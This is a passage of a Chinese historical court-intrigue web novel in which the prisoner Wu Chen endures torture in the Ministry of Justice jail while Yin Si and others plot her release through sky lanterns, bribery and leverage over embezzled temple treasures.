“殷公子莫要动气了,下官只是秉公办事。您知道的,当年的荔平案牵扯颇多,多年以来其余党仍作乱不断,如今又是引得多位高官遇刺丧命,圣上很是重视。绝不可放过任何可疑的人,况且人证在此,抵赖不得。”,陆堇说罢看向巫辰道:“巫大人,能否劳烦您,走一趟?”
殷思上前,忙拉住巫辰右手臂,目光中满是慌乱:“巫辰......”
陆堇狡黠笑道:“殷公子,这儿这么多人瞧着,就别让大家,面上都觉难看了吧。传出去,不好听。若是您对这位大人有意,也要看,她身家是否干净不是?莫要毁了您与侯爷多年的好名声。”
殷思见陆堇提及阿姐,怒道:“你找......”
巫辰打断殷思道:“大人,我的事,我不会推脱。我与殷公子毫无瓜葛的,您不要误会了。”
“哈哈哈.....巫侍卫使这样说,那便好办了。”
“请吧。”
“巫辰。”,殷思并未松开紧拽巫辰的手,巫辰抬眼看向他,未执一词,欲全力挣脱。他却仍死死拉着,捏住巫辰右手腕处,臂弯颤抖,猛然间松开。
再别,难相见。
18.受刑
刑部诏狱内,幽暗森冷,巨锁横陈;高墙内,狱中之人,心魂正遭吞噬。
枷锁紧扣巫辰手腕,被缚于刑架之上,已是满身新伤,微弱火光映不进她低垂的眼眸。
刑部司陆堇上前,将拇指指甲嵌入巫辰肩膀处伤口,陆堇讥讽道:“骨头这么硬?还不打算认了?认下来,见了皇后娘娘,说不定还能保你一命。你莫要再指着殷公子那儿能有动静了,他殷家废人太多,早就自身难保了。”
“......”,巫辰只低头忍痛,痛已入骨髓,只得咬紧牙关,不留一字。
身体上的痛感,不久后便会随困梦噬心之感消散。
陆堇冷笑道:“哈哈哈......真有意思。来人,继续。”
“是,大人。”
狱卒手持长鞭,鞭梢起落声入耳,血撒阶石,仅闻声便令人胆寒不已,
......
刑部侍郎安固临,正入监房,狱卒忙讪讪道:“侍郎大人!见过大人!大人今日前来,可有什么要事?”
“无事,只照常来看看。”,安固临道。
“是,大人。”
安固临坐于桌前,倒上一盏茶水,递到嘴边时转念问道:“里边儿在打的,什么人?”
狱卒回道:“回大人.....说是‘荔平案’余党,参与了前些日子李监察御史之子受刺一案,从前呆过缙华堂的,是个岁数不大的女人,叫巫辰。受陛下和皇后娘娘嘱托,刑部司大人亲审。”
鞭挞声骤起,安固临的动作却未有停顿,咽下清茶,眉头微皱道:“哑巴?”
“啊?”狱卒一时未反应过来,而后道:“......回大人,不是哑巴,是个能说话的。”
与此同时屋外狱卒正迎着一身着御前侍卫服制的女子进门,“盛大人,这边儿请。”
女子笑道:“有劳了。”
“唉,您客气了大人!”
见屋内的刑部侍郎,忙恭敬道:“见过安侍郎大人,在下殿前司副使,盛心薇。”语闭抬首,“下官受皇后娘娘之命,来见个人。”
安固临放下茶盏,饶有趣味得问道:“巫辰?”
“大人,正是。”
一旁狱卒无奈道:“盛大人......这.......这女人嘴巴硬得很,来了几日,一句话都未说过。您应是,问不出什么的......”
盛心薇面上却也不急,淡淡道:“所以今日前来,也给诸位出出主意。若是寻常刑罚无法逼她开口,可试试其他的。只需,放血、昏迷后用灸催她苏醒,醒后反复放血用灸;若是撑不住了便喂补药,把那最后一口气吊住了。”
“......这。”,几个狱卒闻言面面相觑,狱中刑罚多样,却未见如此的。
“皇后娘娘嘱托,消磨她可以,千万别叫她死了。”,盛心薇笑道,似是再三强调。
安固临看向盛心薇道:“皇后娘娘还真是重视此事。”
盛心薇道:“牵扯多年前的叛乱要案,自是要重视的,劳烦各位大人了。”
安固临道:“嗯,那带盛副使过去吧。”
“是。”
......
盛心薇道:“见过刑部司大人。”
“盛副使客气。过来,把她弄醒。”,陆堇见盛心薇过来,连忙道。
“是!”,而后冰水倾盆,寒流由经脉末梢处直直击向心口,巫辰混沌的意识逐渐苏醒。
冰冷空气灌入肺腑,巫辰抬头看向眼前的盛心薇,“......”
陆堇道,“盛副使,您慢慢问。”,随后退出刑室。
“劳烦陆大人。”
“巫辰,我劝你早些认了,还可少受些苦。皇后娘娘很赏识你......”
“......”,巫辰却未有理会,唇边浮起一抹轻笑,蔑意盈然。
“你笑什么?”,盛心薇不解道。
巫辰因身上重伤,断断续续道:“......身上的伤.....已好全了吗?我笑......有人被狗咬.....咬惨了之后,竟和那狗......找了同样的主人......”
“你......看到了?”,盛心薇闻言却未恼,往日痛苦情境浮现,心生惧怕。
“.......”,巫辰不断调整气息,欲借此刻稍加喘息恢复气力。
盛心薇盯着巫辰道:“说话。”
“......”
盛心薇追问:“怎么?可怜我?还是......”
巫辰深知,自己最讨厌被可怜,也绝不会可怜旁人,抬眼道:“有什么......有什么好可怜。”
“......?”,盛心薇竟觉恍惚,未再言语。
巫辰道:“你.....活生生,站在这儿.....便......没什么好可怜。”,说罢低头,借机运转心脉以减缓痛楚,而后补充道:“你知道.....知道自己在为什么人.....做事,即使知道......无愧于心的话,就没什么.....好说.....”
盛心薇心中萌生出别样的感觉,追问道:“你还知道些什么?”
“......”,巫辰无奈,和殷思一样,喜欢问问题。
“巫辰,你到底是什么人?皇室、世家官员,都在盯着你。”
巫辰尽力抬眼紧盯眼前的盛心薇,轻轻挑起眉尾,一字一句认真道:“我......是......和你不一样的人......”
“不知好歹。”,盛心薇知无法再探出其余话来,只好作罢,转身离去。
......
“副使大人。”
盛心薇撇向巫辰,冷冷道:“不要用鞭刑了,用我才交代过的。”
“是。”
陆堇吩咐道:“放她下来,放血。”
“是,大人!”
几个狱卒解开巫辰手腕处的镣铐,失去倚靠后无力的身体瘫软无处可依,其中一个狱卒借拉住她的动作,侧身挡住视线,将药塞入巫辰口中,动作极快,难以被人察觉。
......
湖波渐冷,秋声即尽,寒风轻抚残枝,惹暮寒。
王姨娘王令栩正推着殷怀疏于湖边散步,正瞥见步道旁散落几片仍未枯萎的落叶,连忙拾起来递到殷怀疏手上。
王姨娘转身时瞥见躲在树后的殷思,于一旁偷偷看着。
殷思将食指置于唇间,“嘘”,示意王姨娘不要说话,轻声上前后换自己推着轮椅,王姨娘轻步离开,未再打扰姐弟二人。
全部动作皆在殷怀疏身后完成,殷思只自以为未被发现,推着轮椅行于湖边,寒湖欲凝,暖阳映射下,湖面上浮现完全相同的世界。
殷思的思绪飘向远方,必要想法子尽快救巫辰出来。
殷怀疏突然道:“咳......溯理,再往前,你要把我推湖里去了。”
“!”
殷思心虚道:“阿姐.....你知道是我......”
殷怀疏问道:“在想什么呢?”,随后轻轻叹气,“在想那个......巫辰?”
“没有。”
殷怀疏一副早早料到的样子,笑道:“我看你也是一时间图个新鲜,不过是与旁人稍有些不同的姑娘,喜欢个几天,也就忘了。”
殷思却急着解释起来:“我没有图新鲜,也不会忘......”,谎言不攻自破。
枯树藏然立于湖边,根旁衰草悠悠,无所依靠,风过后,几欲折断。
与殷家如今的境地别无二致,只留有往日威名,殷怀疏身残,殷思则是近年来萎靡不振,殷怀疏自知无力救他心志,只好放任他自甘堕落下去。
外边的人只见殷思整日无所事事流连于烟花之地,殷怀疏却见他的落寞无奈,摒弃真实的自我,被禁锢于不属于自己的地方,痛苦不堪。
殷怀疏亦是如此,往后余生仅可被关在殷家,锁在轮椅之上。
殷怀疏缓缓道:“溯理,在殷家的日子,很是无趣吧。”
“阿姐怎会这么想......”
殷怀疏道:“不过是几个没什么意思的妇人之辈。”
殷思道:“是几位姨娘护我从小长大的,又待我极好......”
“什么时候说着谎,竟把自己也骗过了?”,殷怀疏轻笑。
“......”,殷思再无法辩驳。
殷夫人早逝,殷仁雨又常年征战在外,殷思自小身边便是有三位姨娘围着、伴着,几位姨娘又心软得很,几滴落下来,便能少受半日的苦累。闲暇时候,看着姨娘做朱钗、纺锦缎,殷思其实不觉得无趣,只是身边鲜少有兄弟朋友作伴,总觉少了些
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什么。
寻常世家公子身上的心高气傲殷思未沾染半点,倒是多了几分敏感,极易察觉旁人情绪。
殷怀疏叹气道:“你觉得,你演的很好吗?哼,要我看,拙劣极了。”
“阿姐......”
“殷思,违背心意说出的话,有违本性做出的事,没有意义的。时间久了,若是忘了自己,只叫人觉得可悲。”
“......”,见殷怀疏直指痛楚,清泪欲坠。
“你不用担心这么多,阿姐已是一条烂命,不会过得再差了。”
殷思连忙道道:“我怎么会......怎么会......”
殷怀疏指责道:“又哭,又哭。你有完没完,不许哭了。殷思你多大年纪了?”
“......”
“不许哭了!”
“嗯,没哭了。”
“殷家有我在,这里有阿姐在,想做什么,尽管去做。”,殷怀疏语气温柔,平静,随后继续问道:“好吗?”
“嗯。”
殷思问道:“阿姐,你问巫辰什么了?”
“......”
殷思继续追问:“问什么了?”
“啧......”
“怎么了阿姐?”
殷怀疏无奈道:“我怎么敢问她的,若是讨厌起我来,那可不好了。”
殷思只觉疑惑:“怎么会......她讨厌你做什么......”
“你未做过父母长辈的,当然不懂。”
“......?”
殷思道:“你不是也未做过吗......阿姐,你快说啊......”
“不说。”
“......”
湖泊边潋滟晴光,长天蒙上薄雾,雾霭散去后,不见暖阳,唯留血色。
......
诏狱内萦绕起熏天血气,陆堇大笑道:“哈哈哈哈......果然管用。巫大人,怎么看着,好像怕起来了?”,随后又于巫辰手腕经脉处划开一口,滚烫血液顺着苍白手臂缓缓留下,巫辰已是再难维持清醒,陆堇见状继续调笑道:“原来......你怕这个?”
“一副全然无所谓的样子,不还是在怕死吗?”
“......”,巫辰仅盯手腕出血处,气息混沌。
陆堇捏紧她的手腕,血液的流速在外力压迫下猛然加快,问道:“巫辰,你认不认?”
“.......我......我没有......我,我.....不认......”,巫辰只觉眼皮沉重,随后失去意识。
陆堇笑道:“真有意思,原来怕放血。过来,用针,让她清醒点儿。”
一旁的医师道:“大人......若是再继续......她可能要撑不住了。”
陆堇语气满是威胁:“她要是撑不住了,你也别想活。”
“......是。”,医师只好照做。
......
......
当意识破碎散落时,又会回到巫辰最惧怕的地方——梦魇深处。
听觉觉醒,模糊不清。
“阿颜.......”
“阿颜.......”
“阿颜.......我......对你......很失望......”
“我......不想......逼你的......”
“不可以......休息......站......”
“起来......”
“醒过来.....”
待巫辰细细分辨音色,惊诧不已。
——是皇后。
「不想听到皇后的声音。」
......
耳鸣于侧,嘤嘤嗡嗡,搅乱心神。
“阿颜......别怕......”
“还冷吗......”
“......不要怕。”
「是殷思。」
「又冷了吗?殷思。」
......
想起那日马车上,冰冷与灼热反复交替,还有难以言说的,奇怪的感觉。
鼻腔中余下的气息,不再是作呕血气,而是淡雅清茶香,沉静平淡,未掺杂一丝杂质。
19.梦中缠绵
忧思无数,茶香已散,意识回归现实之中,浑身痛楚难以忍受;一口殷红鲜血喷出,梦癔之苦早已深入肺腑,精神备受折磨。
睁眼后便是陆堇那张令人作呕的脸,一脸奸相,嘲讽道:“呵......在想什么呢巫大人?”
陆堇枯瘦的手指抚在巫辰眼前的利刃刀尖上,接着说道:“哦对了,自从你昨日来了,那位殷公子,再无消息了。你不过是个缙华堂出来的孤女,没有任何倚仗的,殷公子那种人,也不缺你这样的女人。所以,有些事不要奢望,世家贵族,最是无情的。无用之人,对他们来说,如草芥般可以随时践踏、抛弃。”
“......”,巫辰胸口起伏不断,正尽力调整。
“你已是颗弃子,想清楚了吗?”
巫辰开口,声音却是极小,似是有意引陆堇靠近:“我......”
“我......我......”
陆堇道:“嗯?想好了?”
“滚......你大爷的......”,待陆堇靠近,巫辰对着他耳侧脱口而出。
“你他妈!”,陆堇猛然掐住巫辰脖颈,手上青筋暴起。
巫辰见他有动作,头部迅速向后一躲,正好咬在陆堇右手虎口处,直直带下一整块皮肉。
“我草.....呃.....”,陆堇吃痛缩回右手。
巫辰低头笑个不停,“哈哈哈哈哈哈哈......哈哈哈哈哈......”
“你他妈找死吗?属狗的?巫辰,你最好别再落到我手里。”,说罢抬起手中短刀扎在巫辰肩头处。
痛感刺激巫辰瞬间清醒过来,多了这一刀,便可多挨一会儿梦魇折磨。
陆堇怒道:“你们,继续给她放血,晕了就喂药。”
“是。”,狱卒进入刑室内。
刀刃刺破手腕,巫辰真切感知到体内血液涌出后滴落在地上,留下片片殷红,身体止不住的颤抖,再度昏迷后,就着汤药苏醒,反复无休。
......
“......”,伴随着狱卒粗暴推搡,巫辰被押入关押重刑犯的地牢,刺鼻的腐臭气息扑面而来,四周的墙壁上隐隐透着水珠,倒在地上意识不清,无法动弹。
旁边同样被关押着的囚犯看巫辰被掷于地上,竟跑过来问道:“哎呦......小丫头?小丫头?还活着不?”,是个蓬头垢面举止略有些疯癫的老者。
狱中其他早已疯得失了神志的,接话大喊起来:“哈哈哈哈哈哈哈哈!全死了!老头!全都死了!!!!!你知道吗!!!我们全都是死人了!!!!!”
“.......”
“你吵什么吵,把嘴闭上。”,狱卒闻声赶来,手持粗棍,朝着那乱喊的人身上狠狠几棍,击打在身上闷响不断,那人也早已被打得止住了声。
狱卒见他没了动静,便朝着那才关心着巫辰死活的老者过来,老者见情况不妙,连忙道:“哎呦.....哎呦官爷,您知道的,我最老实了哈哈哈哈,没有多嘴,没有多嘴.....”
狱卒道:“老实点儿,别那么多废话。”
“好嘞哈哈哈哈,谢谢官爷......”
“切......”,地牢对面一个中年女人白了老者一眼。
疯癫老者道:“干什么?老太婆!”
“走狗一样,啧。”
“话别说的!诶官爷......我没多嘴!嘿嘿!”,那老者正要发作怒骂,见狱卒眼神朝他看过来,里面便小了声音,“......诶.....话别说得那么难听.....男子汉大丈夫,能屈能伸,懂不懂?”
中年女人道:“得了吧你,赶紧看看她还活着没有啊......我看着她脸色白得不行......”,说着仔细瞧着倒在地上一动不动的巫辰。
老者无奈道:“应该是活着的吧.....死了就不扔这儿了。”
中年女人道:“让你看你就看。”,说着皱起眉头,满脸不满。
老者将手伸过相隔着的牢笼,手臂穿过两道笼柱之间,脸紧紧卡在柱边上受着挤压,狼狈不堪,“嘶......唉......”
“你行不行......”
“草......够不着啊......”,老者见直接用手够不到,只好死命去抓巫辰身下的破烂席子,“小丫头?小丫头?醒醒啊......诶......”
老者见用手伸得不够远,竟收回手臂换成用左脚去够。
中年女人连忙道:“......恶心死了,你别碰到她了!人家是个小姑娘!”
“啧嘶......那我拿什么够!要不你来!”
“唉......唉......”,这次换成一条左腿卡于两柱之间,几乎快要抽筋。
......
.....
...
..
“你能抱抱我吗......”
“阿颜......”
“你讨厌我吗......”
“你喜欢我吗......”
殷思在身边的时候,确实看见他就烦,整日一副委屈得不行的样子,还问着奇奇怪怪的问题。如今头脑混乱起来,总能听见他的声音。
......
恍惚间,梦中竟换了场景。
朦胧微光中,蒙雾纱帘内,一男子一袭墨色长衫,一女子身披素白绫罗,男子轻轻将女子揽入怀中,手指轻触女子的额角,女子双颊泛红,星眸微闭,两人半躺于榻上,离得极近。
近得和那日与殷思身体间的距离,一样。
画面不同于往日梦魇的血腥或是痛楚,巫辰看不懂这等场景,只想细细看清两人的样貌。
男子手指穿过那女子的发丝,将她紧紧搂向自己,四目相对,其中的,是缱绻情意吗?
女子埋首于男子颈间,手臂很快环住男子的脖颈,两人发丝缠绕时,巫辰却闻细微的声响,金属碰撞的声响;寻得声音来源,巫辰注意到女子左手腕处所佩戴的手镯,两人动作间,手镯上的金属珠子微微晃动、互相碰撞,这手镯并不好看,看材质也不值钱,与两人所
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穿着的服饰,极为不搭。
......
好奇怪的梦。
视角也很奇怪,像是在,偷看。
......
耳边传来吵嚷声,巫辰于现实中渐渐苏醒,“快咯!快咯!!”
中年女人道:“你快点儿,臭老头......”
“啧.....哎呀别催我!”
老者终于够到巫辰的脸前,忙伸手试探鼻息,巫辰却猛得将眼一睁,正凑近细细瞧着的老者被吓个不轻:“哎呦!吓死我了!!!!”
“......”
中年女人忙解释道:“小姑娘.....别怕.....没事儿啦,那老头没恶意的......”
“哼......”
“......”,巫辰仍在想着适才梦中的场景——一男一女,抱在一起,不知在做着什么,女子的手镯,很特别。
巫辰自觉没法想通,眩晕感袭来,只好紧闭双眼平静气息,小声道:“吵死了......”
老者却疯癫得笑了起来:“好嘞好嘞!不吵了不吵了.....哈哈哈哈哈......你活着就好呀......哈哈哈!”
......
寒夜山静,临冬寂无声,献都偏南部,容安山。
殷家侍从、小厮、侍女几乎站满山脚处,每人手里都拿着一盏祈天灯。
殷思道:“我交代的位置可都记清楚了?”
众人回道:“记清了公子!”
初鸣踩着颗颗粒粒的石子,踉跄跑到殷思身边道:“公子您放心,来之前我已反复检查了无数遍的,位置、灯芯大小、灯纸厚度都是按照您说的分毫不差了!还有放灯顺序,万无一失的。”
“嗯,子时了,放灯吧。”
初鸣高声道:“是,诸位听令!放灯————”
......
天幕沉沉,天灯千盏起,繁星坠世,辉光盈满天地之间,壮观异常。
漫天星光随愁绪远去,明暗交叠,辰光展颜,散落四方,落在心上。
......
“可算找到您了公子。我回府传话时听闻您来了容安山处,可急坏我了......”,小厮末息道。
殷思道:“怎么了?慢些说。”
末息道:“您先前问过的事,有消息了。这位于山腰的素光寺和宗正寺都有蹊跷,且与刑部有关。皇室宗正寺处一直存放了许多皇室宗亲的祭品遗物,也有些许大苍多年流传下来的藏品,近几月却传出藏品遗留在外的消息,正值国库亏空已久,户部那儿要开始严查起高官账目等事务。宗正寺卿与刑部尚书平日里走得颇近,很有可能他两人相互勾结秘密倒卖皇室祭品。公子若是要与刑部尚书做交易,兴许能以此事与他谈......”
“嗯,我知道了。灯放好了,便都快些离开吧,莫要待了太久引人注目。”
“是,公子。”
......
殷思抬眸,目光紧紧追随最亮的那盏,默默道:“巫辰,你在看吗……”
20.他在梦中
天灯烬燃,渐入墨色苍穹。
因刑部诏狱所处地带砂石坚硬难以深挖,做不到完全位于地下的牢狱,所以小部分位置可通过排气窗看到诏狱外的场景;容安山位于都城南部地势最高处,祈天灯升空之时,全城共赏。
诏狱内的囚犯见黑夜中的微光,自然觉得稀奇,便开始喊叫起来:“有光!!!快看!外面有光!哈哈哈哈哈哈哈哈......我能看见光了!”
“快来看.....!”
“都醒醒!!”
面容潦草的老者看着这群未见过世面的疯子,默默感叹着:“......一群疯老头子。”
中年女人道:“嘁,你不也是。”
“说什么呢大妈?我是好老头子。”
“你叫谁大妈!”
“哈哈哈哈哈......”,笑声肆意,许是因这久久未见的光明,屏去胸中烦闷无奈,蓬头垢面下的眼神中闪过已消失八年的希望,转念便喊巫辰:“小丫头,醒醒,外面有星星了。”
“......”,已至极限的身体,再难有回应。
......
困于梦魇,身若缚茧,心忧惧而难安;冷汗浃背,却无力醒转,唯有于此尽受煎熬。
对于巫辰来说,能得见痛苦以外的画面,哪怕是迷离幻想,也很好了。
......
“......把刀......捡起来......颜......”
“......不要怕。”
幻声缥缈,熟悉的声音无数次于耳边响起,巫辰试图细细听清他,却只有断断续续的残音;猛然间轰鸣声起,眼前泛起白光刺目,再次睁眼时却看见殷思的脸。
“......?”
这是巫辰第一次在梦中见到能看清面容的人,往日所见皆是模糊身影,更甚连五官都难看清,混沌一片糊在脸上,如同鬼魅邪祟无比诡异。
眼前的人眉若墨画,眼尾微微上挑时,双眸含笑意,是真切的、温柔的笑意。
殷思只是温柔注视着“她”道:“不要怕,把刀捡起来,你可以做到的,对吗?”
“......”
巫辰一瞬间错愕惊讶,竟一时忘了此时此刻,身处幻梦;梦境与现实的帷幕消散,两处的桎梏被斩断时,余下的只有茫然、惊喜。
“阿颜,不要怕。”
巫辰只觉心口处一阵温热,自己的身体应是正无力地倒在地上,转眼去看殷思所指的位置,手尽力去够那柄短刀;手指上所感知到的,是真实的触感,冰冷的底面上一颗颗粗糙的细砂石,巫辰的呼吸急促起来,五感同时存在的梦,也是从未有过的,指甲紧紧向前抓着地面,殷思俯身,两人即将触碰时,一切消散不见......
......
.....
...
巫辰呢喃着:“刀......我的刀......”
老者疑惑道:“什么?......这小丫头说什么呢?”
“说得是什么....刀?”,那中年女人细细听了半天,疑惑猜测着。
巫辰的意识停留于幻梦和现实之间,一时难以脱身,手却仍向着某处,想要抓住,一切。
想要的一切。
想守护的一切。
都想要抓住。
......
巫辰缓缓睁开双眼,目之所及处,是漫天星斗浮于夜幕,穿透心中惘然无助。
待细细看清星点位置于走向,分明是将星正高悬,其光如炬,照耀四方,将星降世之兆。
熟悉的伪造星象的把戏,心中道:「又在搞什么.....殷思。」
......
当夜,刑部尚书齐炜住处。
刑部尚书之女齐徽姩见齐炜手撑于案前,许久未有动作似是恍神发愁,轻步上前,问道:“父亲在因何事烦忧了?”
见父亲未有回应且轻声叹气,齐徽姩忙接着安慰道:“您莫要再忧心了,冷时俊再多加针对与我,也是无用,我会护好自己。”
齐炜无奈道:“我知你不愿嫁他,冷时俊出了名的混球一个,还长得那副凶像.....我怎舍得你......”
“这是什么?”,齐徽姩直指齐炜手边一叠书信。
齐炜道:“......姩姩,那日重阳宫宴,你可见过那个叫......叫巫辰的,她是如何惹得皇后?仅因缙华堂的陈湘娩被杀一事吗?”
当日宫宴世间所波及的几人往日均与父亲少有往来,也非皇后一派的朝臣,齐徽姩疑惑反问,“父亲怎么突然提起这事?”
齐炜道:“.....颖王竟托我,救这个巫辰出刑部诏狱,承晚今才归都不久,因何冒这险,与我说此事的?他是觉得,我是个好人,愿意帮他救人;还是说当我是个十恶不赦的,给些好处便什么都能答应。”,说罢将一整摞书信往案上一扔。
“......”
见齐徽姩蹙眉一副不解的模样,齐炜很快便反应过来,“唉......抱歉抱歉,竟与姩姩说这些。”
齐徽姩道:“无事的父亲。看来这巫辰的身份,不简单;东方羽灵也托我说与您听,要她出刑狱。”
“这......这是何意啊,一个两个都全都毫不避讳,实名要我放人?”
齐徽姩轻笑道:“不如直接从巫辰下手?”,见父亲正专注思索着对策,片刻后试探道:“.......女儿听闻,户部查账在即,父亲若有需要,不如问他们要?”
齐炜面上震惊道:“你怎知的......”
齐徽姩道:“父亲,我在继华堂的,消息不算闭塞,您也不必担心,我已命人封锁相关消息了。”
“......怎么查情报还查到自己家了。就算要了也不够啊,除非是将素光寺的金银都.....”
自八年前太子谋反一事起,大苍已是从朝廷根源处开始腐败发烂,党派纷争不断,多数官员结党营私谋国家、百姓的好处。齐炜自知齐氏出身寒门,将官做到尚书已是不易,无意掺和是非,无奈朝中之事皆是以上克下,越是位于底层无任何家世背景,越是岌岌可危。
齐徽姩道:“父亲,女儿有一法子,可将素光寺金银平安运出。”
......
夜凉如水,乌云蔽月,承晚今一袭白衣立于深色门楣前,格外显眼。
承晚今道:“溯理,早。”,说着便直接进了屋,嘱咐道,“代贺,你先下去。”
“是,殿下。”,代贺拱手离开前撇了屋内的殷思一眼,稍有些许异样。
殷思道:“颖王殿下糊涂了,竟连白天黑夜都不分。”
承晚今道:“这天色,看不见摸不着的,确实难分。你此时竟还闲在家里,你心里,不觉得着急吗?”
“你来做什么?”
“我来帮你,救展颜辰。”,言语间掺杂不明所以的笑。
殷思听见承晚今直指巫辰真实身份,震惊不已,正写字的左手稍稍一顿,“......”
承晚今道:“看不到你的表情,有点可惜。溯理,你还真是专情,这么多年了,竟还在惦记着她。”
“......”
见殷思未回应,承晚今仍自顾自说着不合时宜的话:“唉,真是生分了,多年前在殿前司时,你不是还很爱说话吗?逢人便打听展氏小姐。怎么到了如今,好半天一个字也说不出了。”
殷思冷言道:“承晚今,我没心情和你开玩笑。”
承晚今不紧不慢道:“你已有法子救她出来了?刑部的手段,若是再拖下去,她即使活着出来,也要落个残疾了。或是她撑不住,认下罪来,到了皇后那儿......”
“你什么意思?”
“你变化可真大,从前不是脾气很好的,或是说你仍不信我?”
“......”,两人沉默片刻,承晚今轻轻摸到一旁的座椅坐下,淡淡道:“展颜辰不能死,只有
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她能医好我的眼睛。”
殷思问道:“你的眼睛,展家毒伤的?”
“嗯,你可要和她搞好关系,来日请她帮我治眼睛,我指着你呢,溯理。”
殷思无奈,巫辰竟从未与自己提过此事,轻叹道:“......宗正寺和素光寺,都有问题,再寻得刑部破绽,可以救她。”
承晚今道:“嗯,听着像那么回事儿。所以昨夜容安山的异象,你做的?”
“......”,殷思唯有回应,当做默认。
承晚今轻笑道:“殷公子可真有闲情雅致,居然给一个死到临头的人,看星星。”
“颖王殿下,你可以走了。”
承晚今道:“不可,我的事还未办成,你借我点钱。”
殷思却直接问出具体的数字:“五百万两?”
“嗯?你怎么知道的。”,承晚今头偏一侧,觉得有趣。
殷思道:“东方羽灵才管我要了五百万两。”
“那看来殷公子有钱,已是人尽皆知的。”
“都合计着直接去拿钱砸刑部尚书?你们两个明显成这样,不要害死她了。”
承晚今道:“我可不像你一样,畏手畏脚,只在家里想办法。”
“你走开,不会说话你就不要说。”,殷思说着走向承晚今,正欲将他拉起来推出门去。
承晚今躲开殷思的手:“诶......别动手,我身子差,你莫要伤着我了。”
殷思见状不再碰他,“初鸣,过来扶颖王殿下出门。”
“真想救人,不如直接偷了闵国侯的兵符,杀到刑部?”,承晚今却也不急,仍不紧不慢得说着。
殷思皱眉道:“我疯了吗?偷兵符带私兵,与谋反有什么分别?”
“殷思,我是不是压错筹码了?展颜辰对你来说,好像也没那么重要。比起你最爱的殷家,更像是,多添了一份烦忧。”
初鸣走至承晚今身旁,欲将他扶起:“颖王殿下这边请......”
承晚今却一反常态,语气强硬道:“插什么嘴,本王话还未说完。”
“是......”
“殷思,我只好心提醒你,巫辰、或是展颜辰都是难以控制的人,莫要因强行留她在身边,搅乱了其他高位者的局;改日她成了弃子,只会引火烧身。皇后要她的命,你不给,只好先要你的命,因展颜辰而死的人,已经够多了。”
殷思问道:“什么是因她而死?你将话说清楚。”
“你不帮我,所以我不想告诉你。”
“......承晚今,钱我会给你。”
承晚今一字一句道:“本王不是指这个,我要献都,还有大苍。”
......
车舆晃荡,随轮轴颠簸起伏,巫辰再次醒来时,已然不在狱中。
待清醒意识后,发现自己正于一车厢角落处,整个车厢空间不小,身体所靠之处的表面凹凸不平,散发出木质腐败的气味,缝隙之中透进微弱日光,竟是出了诏狱。
眼睛适应光线后,迎面而来一张可怖的脸,嘴角似笑非笑地撇着,透着狡黠与猥琐,乱发如蓬草覆面,几缕油腻发丝贴在额前,看出穿着应是囚犯,巫辰未反应过来时,那人便直接抓起她的手,正要递到干裂嘴唇旁。
砰—————
那囚犯被一股力量甩出老远,撞上另一侧车厢,车身剧烈晃动,别处也传来稀稀疏疏的声响,应是有多名囚犯同在。
“老东西,真该死!打死你!打死你......”,又是那曾多次与巫辰搭话的老者,正在一旁用脚踢着那试图对巫辰不轨的囚犯,沉重的镣铐互相碰撞,发出沉闷响声。
哐当——哐当————
巫辰不明所以得看着眼前的一切,身旁的中年女人抬手将巫辰额角乱发理好,似是心疼道:“小姑娘,遇到坏人,你要躲啊......”
......
巫辰一般不躲,直接杀了,最干净。
21.亵渎
马车辘辘,行于官道之上。
巫辰因前些日子的失血,面色极差,状态萎靡,正抱膝坐在车厢角落,发着呆。
老者又来搭话道:“小丫头,你不用害怕,我们不是去刑场!诶......说是......说是要上这个容......”
中年女人接下话茬:“什么记性,说是要上容安上的素光寺内,给官家那新修缮的佛像帮忙,做苦力去。”
“是了是了!做苦力去!”
老者眯着眼,一副神神秘秘的表情,悄悄对巫辰道:“......小丫头,一会儿若是寻得机会,带你一块儿逃呀哈哈哈哈哈!”
“笑什么笑臭老头,生怕人听不见是吧......”,中年女人一个白眼,使劲戳了戳老者。
他也不与女人再拌嘴了,只笑呵呵道:“嘿嘿.....偷偷的,我们偷偷的......”
中年女人身靠车厢边缘,正从残木的缝隙处尽力向外探去:“你说.....诏狱的人上官家佛寺干活,他们给刑部银钱吗?”
“你满脑子只有钱是吧老太太。”
中年女人未理会他,若有所思得轻声念叨着:“......嘶,这诏狱囚犯没有身份、没有人权的,若是让这刑部整日租出去干这干那......应是笔不菲收益,我猜,这一人做工一日,怎么着也能拿了一文了,哪怕一人拿不到这个数,五人也总能拿上了。还省去刑部诏狱白天的管理和伙食开销......五六车囚犯下来怎么这也能赚个......”
巫辰在一旁半梦半醒得听着她的话,常见的奴仆或是侍从,也没有人权,几吊铜钱便可买了他们一生的自由;靠出租人赚钱,确实稀奇。
老者道:“嘿呦真是神经病,懒得听你唠叨这些。”
“你懂什么!”
嘎吱————嘎吱————
车身一阵剧烈晃动,随后急停,巫辰后脑撞上木板,更清醒了半分。
“哎呦......怎么了这路......”
可听得车外刑部侍卫与一人正说着话,应是素光寺内的掌事。
掌事道:“见过大人,不知今日能否向您这儿,借个一两车人?”
“怎么了?来之前未听宗正寺卿提起过要借人,不借。”,刑部侍卫语气极不耐烦。
掌事恭敬回应道:“唉......大人,您有所不知,今日一早我们来了这儿,见这......这观音坐莲的石像,右手臂碎裂。您知道的,这石像巨大,所用石料也是重极了,又因这石像周边还环着水塘......清理修缮起来,更是难上加难,一时人手不够,想请您帮帮忙!”
「石像的右手断裂......」,巫辰听到此处,莫名联想到一被触碰右手就会应激的殷思。
「容安山,那日殷思放的天灯,从方位推测,应当也是在容安山......又在打什么主意了。」
刑部侍卫道:“要是搬不动石头,你们把池塘内的水抽干了不完了,你这管事儿的傻了不成,非要在有水的地方抬?这蓄水库不就在旁边,抽进蓄水池里去,我们这儿一个人都不能少,不借。”
掌事道:“哎呦大人您就当卖我个人情儿,陛下信佛,很是看中这观音石像,常说这容安山是有关国运的。今日又突发状况出了这档子事儿,您说这陛下正病着,要是不赶快修好了石像,陛下先跟宫里听得这消息了,怕不是会降罪于咱们......”
“你上一边儿去,少拿陛下压我,若是降罪,也是治你的罪,与我有何干系?说了不借,就是不借,滚开!”,刑部侍卫应是说着说着便推开了掌事。
素光寺内,究竟是有多要紧的事,巫辰只觉怪得很,需更小心才是,随后强打精神,试图让模糊的意识清醒起来。
巫辰清楚自己入诏狱为牵扯要案,更甚应为皇后所作,绝无可能平白无故与其他囚犯一同送出刑部。
“诶......大人......”
刑部侍卫不再理他,下令道:“接着往前走。”
“是!”
.......
一个时辰前,刑部内室。
末息正于案桌上翻找着今日送往素光寺囚犯的名册,寻得后立刻起笔欲添上巫辰的名字,怎料浏览至名册末尾页,“巫辰”二字赫然写在上头。
